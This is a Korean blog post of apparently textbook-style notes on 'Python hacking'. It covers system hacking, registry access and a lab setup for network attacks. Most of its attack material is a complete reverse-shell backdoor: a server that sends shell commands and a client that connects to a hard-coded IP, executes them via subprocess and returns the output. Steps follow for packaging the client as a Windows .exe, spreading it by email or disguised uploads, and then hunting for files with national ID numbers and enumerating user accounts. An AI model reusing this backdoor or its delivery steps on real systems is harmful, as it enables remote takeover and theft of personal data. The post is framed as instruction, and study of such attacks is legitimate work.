agencies

파이썬 해킹 입문 본문

Ⅲ. 정보보안

파이썬 해킹 입문

agencies 2024. 2. 15. 11:01

1. 시스템 해킹의 개요

 

 

운영체제는 다양한 시스템 자원을 관리한다 애플리케이션 관점에서 시스템 동작을 잠깐 살펴보자

운영체제(윈도우)는 애플리케이션이 설치 또는 실행될 때 설정 정보를 레지스트리라고 불리는 가상적인 장치에 기록한다 이 정보는 운영체제가 처음 시작할 때 동작을 결정하는 중요한 정보로 활용된다 애플리케이션이 동작할 때는 하드디스크로부터 핵심적인 데이터를 메모리로 로딩하고 CPU 동작에 필요한 정보는 다시 CPU 내부에 있는 레지스터에 저장한다 애플리케이션은 프로세스 형태로 실행되며 프로세스는 내부적으로 스레드로 나뉘어 동작한다 프로세스가 사용하는 데이터는 메모리에 일정 영역을 할당받아 저장되는데 특성에 따라서 스택(Stack) 힙(Heap) 코드(Code) 영역으로 분할된다 

 

시스템 해킹은 이렇게 애플리케이션을 실행하는 운영체제의 동작 특성을 이용하는데 첫 번째 단계는 해킹 프로그램을 시스템 내부에 설치하는 것이다 일반적인 경로를 통해 해킹 프로그램을 설치하기는 쉽지 않다 가장 많이 사용하는 방법은 웹이나 토렌트를 통해서 파일 내려받기를 유도하는 것이다 동영상 파일이나 음악 파일을 내려받아 실행하면 사용자가 모르는 사이에 해킹 프로그램이 시스템에 설치된다 감염된 사용자 PC가 방화벽 내부에 있는 주요 시스템을 운영하는 관리자 PC일 때는 3·20 사태와 같은 심각한 상황을 초래할 수 있다

 

한글 동영상 음악 이미지 파일에 해킹 코드를 심는 것은 오버플로 공격을 보면 쉽게 이해할 수 있다 애플리케이션의 코드 취약성을 찾아내서 의도하지 않은 메모리 영역을 강제적으로 실행하도록 프로그램을 만들어 배포하면 백도어나 레지스트리 검색 프로그램을 쉽게 설치할 수 있다

 

설치된 해킹 코드는 사용자의 동작 정보를 그대로 해커에게 전송하는 백도어로 동작할 수 있고 레지스트리 주요 정보를 검색하거나 값을 강제로 변경해서 시스템에 문제를 초래할 수도 있다 심지어 사용자의 금융 정보를 유출하는 수단으로 사용될 수도 있다

 

이미 알려진 대부분의 공격은 시스템 패치나 백신 프로그램으로 차단되지만 새로운 유형의 공격을 차단하려면 어느 정도 시간이 필요하다 시스템 해킹 기술은 계속 진화하고 있으며 백신과 운영체제의 방어 기술도 동시에 발전하고 있다 하지만 방패보다는 창이 항상 한발 앞서 가고 있기 때문에 아직도 다양한 해킹 공격이 인터넷에서 성행하고 있다

 


2. 백도어

 

 

백도어의 기본 개념

방화벽은 외부에서 서버에 접근하는 것을 차단하고 있다 서버 접근에 필요한 텔넷, FTP와 같은 서비스는 허가된 사용자에 한해서 사용할 수 있다 방화벽은 내부에서 외부로 향하는 길은 차단하지 않는다 방화벽 안으로 들어가는 것은 힘들지만 일단 침입에 성공하면 정보를 빼내기는 쉬운 일이다 백도어는 방화벽과 같은 보안 장비를 우회해서 서버 자원을 통제하는 기술이다 서버에 설치된 백도어 클라이언트는 백도어 서버의 명령을 수행하고 결과를 다시 백도어 서버로 전달한다

 

백도어를 이용한 해킹에서 가장 어려운 것은 클라이언트의 설치다 네트워크를 통해서 파일을 직접 업로드하기는 쉽지 않기 때문에 보안이 상대적으로 취약한 웹 환경을 많이 활용한다 가장 보편적으로 사용되는 것이 게시판 파일 업로드 기능을 활용하는 것이다 해커는 유용한 도구나 동영상으로 가장해서 악성 코드가 담긴 파일을 게시판에 올리고 사용자는 무심코 클릭해서 파일을 내려받는다 파일을 클릭하는 순간 사용자는 자기도 모르는 사이에 PC에 백도어를 설치하게 되고 PC는 원격에서 조정할 수 있는 좀비 PC가 된다 호기심을 자극하는 문구의 이메일 또한 백도어 공격의 수단으로도 많이 사용된다

 

PC에 설치된 바이러스 백신은 대부분의 백도어를 검출할 수 있지만 백도어의 강력한 기능을 원하는 해커들은 백신에 검출되지 않는 형태에 악성 코드를 지속적으로 만들어내고 있다 간단한 파이썬 프로그램을 통해서 백도어의 개념을 알아보고 PC에 저장된 개인정보를 검색하는 명령어를 사용해 백도어의 위험성을 확인해본다

 

 

백도어 프로그램 개발

백도어는 서버와 클라이언트로 구성되어 있다 서버는 해커 PC에서 실행되고 클라이언트는 서버 PC에서 실행된다 먼저 해커 PC에서 백도어 서버가 구동되고 서버 PC에 설치된 백도어 클라이언트가 실행되면서 백도어 서버에 접속한다 백도어 서버는 명령을 백도어 클라이언트로 보낼 수 있다 개인정보 검색 레지스트리 정보 검색 계정 비밀번호 변경 등 치명적인 다양한 공격을 수행할 수 있다

 

현재 PC에 설치된 백신 대부분은 단순한 구조의 백도어를 검출하고 치료할 수 있다 실제 동작하는 백도어 프로그램을 만들려면 고난도의 기술이 필요하지만 개념을 익히기 위한 단순 구조의 백도어 프로그램을 만들어 본다

 

from socket import *
HOST = ''                                     #(1)
PORT = 11443                                  #(2)

s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)     #(3)
s.bind((HOST, PORT))
s.listen(10)                                  #(4)

conn, addr = s.accept()
print 'Connected by', addr
data = conn.recv(1024)
while 1:
     command = raw_input("Enter shell command or quit: ")   #(5)
     conn.send(command)                                     #(6)
     if command == "quit": break 
     data = conn.recv(1024)                                 #(7)
     print data
conn.close()

 

백도어 서버의 구조는 의외로 간단하다 기본적인 골격은 소켓을 이용한 클라이언트/서버 구조다 단지 서버에서 전달받은 명령어를 실행하는 장치를 클라이언트에 만들어 놓으면 된다 백도어 서버 동작 방식은 다음과 같다

 

  1. 호스트 지정 : 소켓 연결을 할 상대방의 주소를 지정한다 주소가 공백으로 지정되면 모든 호스트에서 연결할 수 있다는 의미이다
  2. 포트 지정 : 클라이언트와의 접속에 사용되는 포트를 지정한다 여기서는 시스템에서 예약되지 않는 11443포트를 사용하도록 설정한다
  3. 소켓 옵션 설정 : 소켓 동작을 제어하기 위한 다양한 옵션을 설정할 수 있다 SOL_SOCKET, IPPROTO_TCP, IPPROTO_IP 세 가지 종류의 옵션이 있다 (IPPROTO_TCP는 TCP 프로토콜과 관련된 옵션을 설정하고 IPPROTO_IP는 IP프로토콜의 옵션을 설정하며 마지막으로 SOL_SOCKET는 소켓과 관련된 가장 일반적인 옵션을 설정하는데 사용된다) 여기에서 설정한 SO_REUSERADDR 옵션은 이미 사용된 주소를 재사용(bind)한다는 것을 의미한다
  4. 연결 큐 크기 지정 : 서버와의 연결을 위해서 큐에 대기할 수 있는 요청의 수를 지정한다
  5. 명령어 입력 : 클라이언트로 보낼 명령어를 입력받기 위한 입력 창을 실행한다
  6. 명령어 전송 : 클라이언트로 명령어를 전송한다
  7. 결과 수신 : 백도어 클라이언트로부터 명령어 수행 결과를 수신해서 화면에 출력한다

 

이제 백도어 클라이언트를 만들어 본다 서버에서 수신받은 명령어를 실행하려면 먼저 subprocess.Popen 클래스의 개념을 알아야 한다 백도어 클라이언트는 서버로부터 전달받은 텍스트 형태의 명령어를 프로세스로 만들어서 실행한다 이때 프로세스를 생성하고 명령어를 전달하고 실행 결과를 백도어 클라이언트로 전달해 주는 기능을 subprocess.Popen 클래스가 지원한다

 

popen 클래스는 인자로 다양한 값들을 전달받는데 그중에 PIPE라는 특별한 것이 있다

PIPE는 운영체제에 존재하는 임시 파일로 프로세스 간에 데이터를 주고받을 수 있는 통로 역활을 한다 Popen은 3개의 파이프(PIPE)를 통해서 데이터를 받아들이고 출력 값과 오류 메시지를 전달할 수 있다

 

import socket,subprocess
HOST = '169.254.175.80'                                            #(1)
PORT = 11443                                              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')

while 1:
     data = s.recv(1024)                                          #(2)
     if data == "quit": break
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)                                               #(3)
     stdout_value = proc.stdout.read() + proc.stderr.read()       #(4)
     s.send(stdout_value)                                         #(5)
s.close()

 

백도어 클라이언트는 소켓을 이용해서 백도어 서버에 접속하고 서버로부터의 명령을 전달받는다 전달받은 명령은 Popen 클래스를 통해서 실행하고 결과값을 다시 백도어 서버로 전달한다 

 

  1. 서버 IP와 포트 지정 : 백도어 서버가 가진 IP를 지정하고 연결에 사용할 포트를 지정한다
  2. 명령어 수신 : 서버로부터 명령을 전달받는다 소켓으로부터 1024바이트만큼 데이터를 읽어서 전달한다
  3. 명령어 실행 : Popen() 함수를 통해서 서버로부터 전달받은 명령을 실행한다 입력, 출력, 오류 메시지를 담당하는 파이프를 생성해서 프로세스 간에 원활한 통신을 지원한다
  4. 파이프를 통한 결과값 출력 : 파이프를 통해서 실행 결과와 오류 메시지를 출력한다
  5. 서버로 결과값 전송 : 소켓을 통해서 서버로 실행 결과를 전송한다

 

백도어를 실행하기 위한 서버와 클라이언트가 모두 준비됐다 모든 해킹 대상 서버에 파이썬이 설치된 것은 아니다 따라서 백도어 클라이언트를 실행하려면 파이썬 프로그램을 윈도우 실행 파일로 변환해야 한다 파이썬 프로그램을 실행 파일(.exe)로 만드는 방법을 알아보자

 

 

 

윈도우 실행 파일 생성

윈도우 실행 파일로 변환하려면 관련 모듈을 설치해야 한다 

(py2exe-0.6.9.win32-py2.7.exe)파일을 다운로드 해야 합니다.

 

 

실행 파일을 만드려면 먼저 setup.py를 만들어야 한다

 

from distutils.core import setup
import py2exe

options = {                                       #(1)
	"bundle_files" : 1,
	"compressed" : 1,
	"optimize"     : 2,
}

setup (                                           #(2)
	console = ["backdoorClient.py"],
	options = {"py2exe" : options},
	zipfile = None
)

 

1. py2exe에 들어갈 옵션 설정

  • bundle_files : 번들링 여부 결정 (3 번들링 하지 않음 디폴트) (2 기본 번들링) (1 파이썬 인터프리터까지 번들링)
  • compressed : 라이브러리 아카이브를 압축할 것인지를 결정 (1 압축) (2 압축 안함)
  • optimize : 코드를 최적화함 (0 최적화 안함) (1 일반적 최적화) (2 추가 최적화)

2. 옵션 항목 설정

  • console : 콘솔 exe로 변환할 코드 목록(리스트 형태)
  • windows : 윈도우 exe로 변환할 코드 목록(리스트 형태) GUI 프로그램 변환 시 사용
  • options : 컴파일에 필요한 옵션 지정
  • zipfile : 실행에 필요한 모듈을 zip 파일 형태로 묶음 None은 실행 파일로만 묶음

setup.py 파일이 완성되었으면 backdoorClient.py 파일을 실행 파일로 만들어 본다

setup.py 파일과 backdoorClient.py 파일을 같은 디렉터리에 넣고 명령 창을 열어서 다음 명령어를 실행한다

python -u setup.py py2exe

 

※ Windows 레지스트리에 python을 추가하는 방법

1. HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\2.7\InstallPath\InstallGroup 의 키값과 데이터를

2. HKEY_CURRENT_USER\SOFTWARE\에 동일하게 붙여넣습니다

 

실행 파일 생성 결과 (윈도우 32bit를 사용해야 됩니다)

 

위와 같이 두 개의 폴더가 생성된 것을 확인할 수 있다 다른 모든 파일은 무시해도 된다 단지 dist 폴더에 있는 backdoorClient.exe 파일만 복사해서 사용하면 된다 이제 파이썬이 설치되지 않아도 백도어 프로그램을 실행할 준비가 됐다

 

 

 

개인정보 파일 검색

먼저 정보시스템 운영 인력이 쉽게 범하기 쉬운 실수를 생각해보자 프로그래머 A씨는 사용자 정보 수정 프로그램을 개발하기 위해 운영 서버에서 고객 정보가 담긴 파일을 내려받아서 PC에 저장해 놓았다 백도어 프로그램은 이메일을 통해 배포했고 A씨 또한 이메일을 읽다가 실수로 백도어 프로그램을 PC에 설치했다고 가정한다 테스트를 위해 다음 파일을 서버 C의 C:\test 폴더에 저장하고 backdoorClient.exe 파일은 C:\ 디렉터리 바로 아래에 저장한다

 

 

해커 PC에서 backdoorServer.py 프로그램을 실행시키고 서버 PC에서 backdoorClient.exe를 실행시켜본다

해커 PC의 콘솔 화면에서 접속한 백도어의 IP와 접속 포트 정보를 볼 수 있다

이제 해커 PC에서 백도어를 통해 명령을 내릴 수 있다 윈도우에는 유닉스 못지않은 강력한 파일 검색 기능이 있다 텍스트 파일을 검색해서 특정 문자가 포함됐는지 체크하는 명령을 통해 주민등록번호가 포함된 파일을 찾을 수 있다

 

윈도우는 강력한 UI를 제공하지만 텍스트 명령어는 유닉스에 비해 다소 기능이 떨어진다 findstr 명령어는 특정 디렉터리를 제외하는 기능을 지원하지 않고 옵션 중에 공백을 포함하는 디렉터리 이름을 처리하지 못한다 또한 권한이 없는 파일을 만나면 프로그램이 멈추는 등 극복해야 할 몇 가지 문제를 가지고 있다 이러한 단점을 우회하고자 Windows와 ProgramFiles 디렉터리를 테스트에서 제외한다

 


3. 레지스트리 다루기

 

 

레지스트리 기본 개념

레지스트리는 하드웨어, 소프트웨어, 사용자, 운영체제 및 프로그램의 일반 정보와 각종 설정 정보를 저장하는 데이터베이스다 예전에는 ini 파일에 관련 정보를 저장해서 사용했지만 프로그램마다 각각 사용하는 파일을 효율적으로 관리하기에 어려움이 있어서 통합된 데이터베이스 형태인 레지스트리가 생겨났다 윈도우 운영체제와 프로그램에서 자동으로 레지스트리 정보를 입력하고 갱신하는 작업을 수행하지만 regedit와 같은 도구를 사용해서 사용자가 임의로 수정할 수 있다 프로그램 오작동이나 관리를 위해서 사용자가 레지스트리를 일부 변경하기도 하지만 레지스트리에서 발생하는 문제는 시스템에 심각한 영향을 주기 때문에 될 수 있으면 임의로 변경하지는 말아야 한다

 

윈도우 명령 프롬프트에서 regedit 명령어를 실행시키면 위와 같은 레지스트리 편집기 화면을 볼 수 있다 레지스트리는 크게 4개로 구성된다 먼저 왼쪽에 있는 키(Key) 영역이 있는데 최상위의 키를 루트 키(Root Key)라 하고 그 아래에 나오는 키를 서브 키(Sub Key)라 한다 키를 선택하면 값(Value)에 해당하는 데이터 형(Data Type), 데이터(Data) 쌍이 나타난다 레지스트리는 하이브(Hive) 단위로 논리적으로 관리되고 파일 형태로 백업된다 루트 키를 중심으로 하이브 단위가 나뉘게 되는데 레지스트리는 최종적으로 하이브 단위로 관리되는 파일에 저장된다

 

종류 특징
HKEY_CLASSES_ROOT 윈도우에서 사용하는 프로그램과 확장자 연결 정보와 COM 클래스 등록 정보 포함
HKEY_CURRENT_USER 현재 로그인한 사용자의 설정 정보
HKEY_LOCAL_MACHINE 하드웨어, 소프트웨어 관련된 모든 설정 내용이 포함 하드웨어와 하드웨어를 구동시키는 데 필요한 드라이버 정보 포함
HKEY_USERS HKEY_CURRENT_USER에 설정된 정보 전체와 데스크톱 설정과 네트워크 연결들의 정보가 저장
HKEY_CURRENT_CONFIG 프로그램 수행 중에 필요한 정보 수집

 

시스템 운영에 중요한 정보를 가진 레지스트리 값을 조회하고 변경하는 것만으로도 해킹으로써 충분한 가치가 있다 레지스트리 분석을 통해 얻은 계정 정보를 기반으로 비밀번호를 수정할 수도 있다 또한 원격 데스크톱과 네트워크 드라이버 연결 정보를 사용해서 취약점을 분석할 수 있다 그리고 애플리케이션 및 인터넷 사용 정보를 검색해서 사용자의 인터넷 사용 패턴을 유추하여 이차적인 해킹의 기본 정보로 활용할 수 있다

 

 

레지스트리 정보 조회

파이썬은 레지스트리 정보 조회를 위해 _winreg 모듈을 지원한다 _winreg 모듈은 윈도우 레지스트리 API를 파이썬에서 사용할 수 있도록 지원하는 매개체 역할을 한다 사용 방법은 간단하다 루트 키를 변수로 지정하고 ConnectRegistry() 함수를 사용해서 명시적으로 레지스트리 핸들을 연결할 수 있다 OpenKey()는 하위 레지스트리 이름을 문자열 형식으로 지정해서 제어할 수 있는 핸들을 반환하는 함수다 최종적으로 EnumValue() 함수를 통해서 레지스트리 값을 얻을 수 있다 모든 작업이 종료되면 CloseKey() 함수를 통해 열린 핸들을 닫도록 한다

 

 

사용자 계정 목록 조회

regedit 프로그램을 사용하면 다음과 같은 화면을 볼 수 있는데 HKEY_LOCAL_MACHINE 부분에 SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList 항목을 보면 서브 디렉터리에 사용자 계정 SID 항목이 존재한다 항목별로 가진 변수 ProfileImagePath를 확인할 수 있다 시스템은 해당 변수에 사용자 계정 이름으로 할당된 디렉터리 목록을 저장한다

 

레지스트리 ProfileList 정보

 

이제 파이썬을 사용해서 자동으로 사용자 계정 목록을 조회하는 프로그램을 만들어본자 레지스트리 서브 디렉터리를 지정하고 관심 있는 정보를 추출하기 위해 약간의 프로그램 코드를 추가하면 시스템에서 사용하는 사용자 계정 목록을 쉽게 추출할 수 있다

 

from _winreg import *
import sys

varSubKey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList"                #(1)
varReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE)                                   #(2)
varKey = OpenKey(varReg, varSubKey)                                                        #(3)
for i in range(1024):                                           
    try:
        keyname = EnumKey(varKey, i)                                                        #(4)
        varSubKey2 = "%s\\%s"%(varSubKey,keyname)                                       #(5)
        varKey2 = OpenKey(varReg, varSubKey2)                                             #(6)
        try:
            for j in range(1024):
                n,v,t = EnumValue(varKey2,j)                                                   #(7)
                if("ProfileImagePath" in n and "Users" in v):                                  #(8)
                    print v
        except:
            errorMsg = "Exception Inner:", sys.exc_info()[0]
            #print errorMsg
        CloseKey(varKey2)
    except:                                               
        errorMsg = "Exception Outter:", sys.exc_info()[0]
        break          
CloseKey(varKey)                                                                                 #(9)
CloseKey(varReg)

 

프로그램은 _winreg 모듈을 사용해서 개발한다 레지스트리 핸들을 얻고 그것을 통해 세부 항목을 도출하는 일련의 과정을 _winreg 모듈에서 제공하는 직관적인 함수를 통해 만들 수 있다 세부적인 동작은 다음과 같다

 

  1. 서브 레지스트리 목록 지정 : 사용자 계정 정보를 조회할 수 있는 서브 레지스트리 목록을 지정한다
  2. 루트 레지스트리 핸들 객체 얻기 : 검색할 루트 레지스트리를 지정하기 위해 _winreg 모듈에서 제공하는 예약어 HKEY_LOCAL_MACHINE를 사용한다 ConnectRegistry() 함수를 통해서 레지스트리 핸들 객체를 얻는다
  3. 레지스트리 핸들 객체 얻기 : OpenKey() 함수를 통해서 루트 레지스트리 아래에 존재하는 레지스트리를 다루기 위한 핸들 객체를 얻는다
  4. 지정한 레지스트리의 하위 키값 조회 : 지정한 레지스트리에 포함된 하위 키값 목록을 차례대로 조회한다
  5. 하위 레지스트리 목록 생성 : 상위 레지스트리 목록과 하위 키값을 결합하여 사용자 계정 정보를 가진 레지스트리 목록을 생성한다
  6. 레지스트리 핸들 객체 얻기 : 앞에서 생성된 레지스트리를 다루기 위한 핸들 객체를 얻는다
  7. 레지스트리가 가진 데이터 얻기 : 레지스트리에 등록된 값의 이름, 데이터 형, 데이터를 조회한다
  8. 사용자 계정 정보 추출 : 사용자 계정 정보와 관련된 문자열을 사용해서 계정 정보를 추출한다
  9. 핸들 객체 반환 : 레지스트리를 다루고자 사용했던 핸들 객체를 반환한다

레지스트리 검색을 통해 추출한 사용자 계정 정보는 시스템 해킹을 위해 유용하게 사용된다 사전 공격(Dictionary Attack)을 이용해서 사용자 비밀번호를 추출할 수도 있고 win32com 모듈에서 제공하는 adsi 클래스를 사용하면 직접 비밀번호를 변경할 수 있다


1. 네트워크 해킹의 개요

 

 

우리가 사용하는 모든 네트워크 프로토콜은 OSI 7계층으로 정의할 수 있다 OSI 7계층은 애플리케이션 계층부터 물리 계층까지 계층별로 역할이 잘 나뉘어 있고 실제 네트워크 장비들도 OSI 7계층을 기준으로 제작된다 네트워크 프로토콜은 다양한 데이터를 안전하게 주고받을 수 있도록 논리적으로 설계되어 있지만 통신 기능을 지원하기 위한 장치들이 해킹을 위한 취약점으로 악용되기도 한다

 

네트워크 프로토콜의 특징을 악용한 해킹 기법은 다음과 같이 5가지로 분류할 수 있다

  1. 해킹을 시도할 때 가장 먼저 하는 것이 풋프린팅(Foot Printing)이다 서버의 운영체제나 지원하는 서비스의 종류 열려있는 포트 정보를 DNS 쿼리, 핑, 포트 스캐닝과 같은 기법을 통해 알아낼 수 있다
  2. 스니핑은 네트워크에서 유통되는 패킷 정보를 제삼자가 훔쳐보는 기술이다 보통 인트라넷에서 많이 사용되는 기술로 이더넷 프로토콜의 취약점을 이용한다
  3. 스푸핑 공격은 해커가 서버의 주소를 위장해서 통신 패킷을 중간에 가로채는 기술이다 MAC 주소나 IP 주소를 위장한 공격이 많이 사용된다
  4. 세션 하이재킹은 클라이언트와 서버 간에 맺어진 인증 세션을 중간에 가로채서인증 없이 서버와 통신을 주고받는 기술이다
  5. 마지막으로 가장 많이 사용되는 공격이 서비스 거부 공격(DoS)이다 정상적인 패킷을 대량으로 발생시켜 서버의 기능을 마비시키거나 ICMP나 HTTP 프로토콜의 취약점을 악용해서 시스템을 서비스 불능 상태로 만드는 기법이다

대량의 패킷이 유통되는 인터넷 환경에서 네트워크 해킹은 탐지 및 차단이 가장 어려운 공격에 속한다 공격 패턴을 보안 장비에서 탐지해서 방어할 수 있도록 설정하면 새로운 해킹 기법이 곧바로 나타난다 네트워크는 창과 방패의 싸움이 계속되는 분야다 네트워크 해킹에 대한 기본 개념을 익히고자 기본적인 포트 스캐닝부터 시작해서 패킷 스니핑, DoS 공격 등에 대해 알아본다

 


2. 테스트 환경 구성

 

 

방화벽 동작 방식

일반적인 정보 시스템은 방화벽 안쪽에 위치한다 방화벽은 IP와 포트(Port) 정보 통제를 통해 불법적인 트래픽 유입을 차단한다 방화벽 기본 설정은 모든 IP와 포트의 접근을 차단하는 것이지만 웹 서비스를 위해서 80 포트와 443 포트를 개방한다 80 포트는 HTTP 프로토콜을 처리하고 443 포트는 HTTPS 프로토콜을 처리한다 HTTP 프로토콜은 일반적인 웹 서비스를 지원하고 HTTPS 프로토콜은 암호화 통신을 제공하는 SSL을 지원한다 원격지 파일 전송을 위해 21 포트를 개방해서 FTP 프로토콜을 지원하기도 한다 방화벽 기능을 간단하게 살펴본다

 

방화벽은 인터넷과 기업에서 서비스를 담당하는 내부망 중간에 위치한다 네트워크를 구성하는 다양한 보안 장비들이 있지만 쉽게 설명하기 위해 방화벽 중심으로 설명한다 기본적인 방화벽은 다음과 같이 동작한다

 

  1. 규칙 설정 : 방화벽에 예외로 설정할 IP와 포트 정보를 등록한다 IP 210.20.20.23은 80과 443 포트를 개방하고 IP 210.20.20.24는 21과 22번 포트를 개방한다
  2. 비정상 트래픽 : 210.20.20.23 IP에 8080번 포트를 호출한다 방화벽에서 예외처리 되지 않았기 때문에 비정상 트래픽으로 판단하고 차단한다
  3. 정상 트래픽 : 210.20.20.24 IP에 21번 포트를 호출한다 방화벽에 예외처리가 등록되었기 때문에 내부망으로 트래픽을 통과시킨다 방화벽에 등록하는 예외 규칙은 신중하게 선택해야 한다 포트 스캐닝(Port Scanning) 도구를 사용하면 서버에서 어떤 포트를 개방하고 어떤 서비스에 포트가 사용되는지 확인할 수 있다 특히 FTP와 텔넷 서비스는 태생적으로 해킹에 취약하므로 되도록 외부에서 사용할 수 없도록 설정해야 한다

 

HTTP 서비스를 위한 방화벽 설정

PC에서도 방화벽 기능을 지원한다 PC 방화벽을 사용으로 설정하게 되면 외부에서 들어오는 모든 서비스가 차단된다

제어판 -> 시스템 및 보안 -> Windows 방화벽 -> 설정 사용자 지정 메뉴에서 방화벽을 사용하도록 설정할 수 있다

홈 또는 회사(개인) 네트워크와 공용 네트워크에 모두 Windows 방화벽 사용으로 설정한다

 

윈도우 방화벽 사용

제어판 -> 시스템 및 보안 -> Windows 방화벽 메뉴에서 고급 설정 메뉴를 선택하면 방화벽에 예외 규칙을 등록할 수 있다 인바운드 규칙을 클릭해서 새규칙 메뉴를 선택하면 단계별로 서비스를 등록할 수 있는 화면이 열린다

윈도우 방화벽 규칙 등록

규칙 종류를 선택해서 포트를 선택한다 TCP와 UDP 서비스를 사용하는 HTTP와 FTP 서비스를 허용하기 위해 포트를 개방한다

 

규칙 종류 선택

 

해커 PC나 클라이언트 PC에서 워드프레스 사이트를 사용하는 데 필요한 HTTP 프로토콜은 80 포트를 사용한다 방화벽에서 해당 포트를 개방해야 한다 HTTP 프로토콜은 TCP 프로토콜 위에서 동작하기 때문에 TCP를 선택하고 포트에 80을 입력한다

 

프로토콜 및 포트 선택

 

IPSec은 안전하지 않은 네트워크에서 두 컴퓨터 사이에 암호화된 통신을 지원하는 프로토콜 모음이다 IPSec은 중간에 거치는 네트워크 장비에서도 마찬가지로 IPSec 프로토콜을 지원해야 하는 어려움이 있다 따라서 일반적으로는 IPSec을 잘 사용하지 않는다 연결 허용을 선택한다

 

작업 유형 선택

 

프로필 부분에는 도메인, 개인, 공용에 체크한다 이름에는 예외 처리에 대한 내용을 직관적으로 알 수 있는 명칭을 기재한다 apache web service를 입력한다

 

 

IIS 관리 콘솔을 사용하는 FTP 설정

제어판 -> 프로그램 -> 프로그램 및 기능 메뉴에서 Windows 기능 사용/사용 안함을 클릭한다

윈도우 기능 중 비활성화되어 있는 기능을 활성화할 수 있다 인터넷 정보 서비스 항목에서 FTP 서비스와 FTP 확장성을 선택한다 웹 관리 도구에서 IIS 관리 콘솔을 선택한다

 

FTP와 IIS 관리 콘솔 활성화

 

웹 서버와 데이터베이스를 사용하기 위해 아파치와 MySQL을 설치한다 모두 오픈 소스로 무료로 사용할 수 있다 해킹 대상이 되는 서비스는 블로그 기능을 제공하는 PHP 기반의 오픈소스인 워드프레스를 설치한다

 

제어판 -> 시스템 및 보안 -> 관리 도구에서 IIS(인터넷 정보 서비스)관리자 메뉴를 선택한다 FTP 서비스 경로와 사용자 정보를 입력하기 위해 사이트 탭을 클릭해서 FTP 사이트 추가를 선택한다

 

FTP 사이트 추가

 

FTP 사이트 이름 항목에는 serverFTP를 입력하고 FTP 서비스에 로그인했을 때 기본으로 설정되는 루트 디렉터리에 해당하는 콘텐츠 디렉터리에는 C:\를 입력한다 윈도우에서 지원하는 FTP 서비스는 콘텐츠 디렉터리를 벗어날 수 없는 특성이 있다 따라서 테스트를 위해서 최상위 디렉터리를 지정한다

 

FTP 사이트 정보 입력

 

FTP 서비스에 바인딩 되는 IP와 FTP 서비스 포트를 지정한다 지정하지 않은 모든 IP를 선택해서 모든 IP에서 FTP 서비스를 사용할 수 있도록 허가한다 포트는 일반적으로 FTP 서비스에서 많이 사용하는 21번을 지정한다 SSL은 Secure Socket Layer의 약자로서 HTTP와 FTP 프로토콜에서 사용하는 전송 계층 암호화 방식이다 테스트를 위해서 없음으로 설정한다

 

바인딩과 SSL 설정

다음으로 인증과 권한 부여 정보를 입력한다 인증은 익명이 아닌 기본으로 선택한다 익명으로 선택하면 별도의 아이디와 비밀번호가 필요 없이 익명으로 로그인할 수 있다 권한 부여는 지정한 사용자를 선택하고 server를 입력한다 사용 권한에는 읽기와 쓰기 권한 모두 부여한다 만일 쓰기 권한이 없다면 FTP 서버에 파일을 저장할 수 없다

 

인증과 권한 부여 정보

 

FTP 서비스를 위한 방화벽 설정

HTTP 방화벽 설정과 동일하게 제어판 -> 시스템 및 보안 -> Windows 방화벽 메뉴에서 고급 설정 메뉴를 선택해서 방화벽에 예외 규칙을 등록한다 인바운드 규칙을 클릭해서 새규칙 메뉴를 선택하면 단계별로 서비스를 등록할 수 있는 화면을 열 수 있다 규칙 종류를 선택하는데 FTP 서비스는 미리 정의되어 있기 때문에 미리 정의됨 항목에 체크하고 FTP 서버를 선택한다

 

규칙 종류 선택

 

미리 정의됨을 선택하면 좌측 화면에 미리 정의된 규칙 메뉴가 나타난다 화면에 나타나는 다음과 같은 3가지 서비스에 모두 체크한다

미리 정의된 규칙 선택

 

작업을 선택한다 미리 정의된 규칙에 해당하는 서비스 요청이 있을 때 실행할 작업을 선택한다 여기서는 연결 허용을 선택한다 테스트 용이성 향상을 위해서 보안 연결과 일반 연결을 모두 허용한다

 

작업 유형 선택

 

이제 해커 PC에서 서버 PC로 정상적인 접근이 가능한지 다음과 같이 테스트해본다 먼저 윈도우의 명령 창을 열어서 FTP 접속을 시도한다 사용자와 비밀번호는 미리 설정한 바와 같이 server를 마찬가지로 입력한다 정상적으로 접속되었다면 dir 명령어를 사용해서 다음과 같은 결과를 확인할 수 있다

 

FTP 접속

 

이제 서버 PC의 FTP 서비스를 사용할 준비가 되었다 대부분 보안 안내 책자에서는 외부에서 FTP 접속을 차단하도록 권고하고 있다 하지만 관리자의 편의와 파일 업로드 속도 향상을 위해 많은 사이트에서 FTP 접속을 허용하고 있다 FTP 서비스가 보안에 얼마나 취약한지 이제부터 하나씩 알아본다

 


3. 포트 스캐닝을 통한 취약점 분석

 

 

포트 스캐닝을 위한 준비

파이썬은 네트워크를 해킹할 수 있는 다양한 모듈을 제공한다 대표적인 것이 scapy와 pcapy이다 scapy는 포트 스캐닝(Port Scanning)뿐 아니라 패킷 스니핑(Packet Sniffing)등 다양한 기능을 제공하는 네트워크 해킹을 위한 다목적 도구다 하지만 Nmap과 와이어샤크(Wireshark), 메타스플로이트(Metasploit)와 같은 강력한 도구가 개발되면서 파이썬 해킹 모듈에 대한 업그레이드가 중단된 상태다 설치도 힘들 뿐 아니라 현재 환경에 맞는 모듈을 구하기도 어렵다 파이썬은 Nmap과 와이어샤크에 대한 인터페이스를 제공해서 애플리케이션에서 다양한 방법으로 해킹을 시도할 수 있도록 지원하고 있다

 

먼저 해킹을 위한 환경에 대해 살펴본다 대부분의 정보 보안 가이드에서는 FTP 포트에 대한 개방을 금지하고 있다 하지만 속도 향상과 관리 편의성의 이유로 FTP 포트를 통해 애플리케이션에서 파일을 업로드하고 관리자가 파일을 전송하고 있다 현재 상태는 관리자가 편의를 위해서 아파치 웹 서버를 운영하는 환경에 별도의 FTP 포트를 개방한 상황이라고 가정한다 포트 스캐닝을 이용한 해킹은 다음과 같은 방식으로 진행된다

 

 

Nmap과 python nmap 설치

먼저 Nmap과 python nmap 모듈을 설치한다 

 

 

 

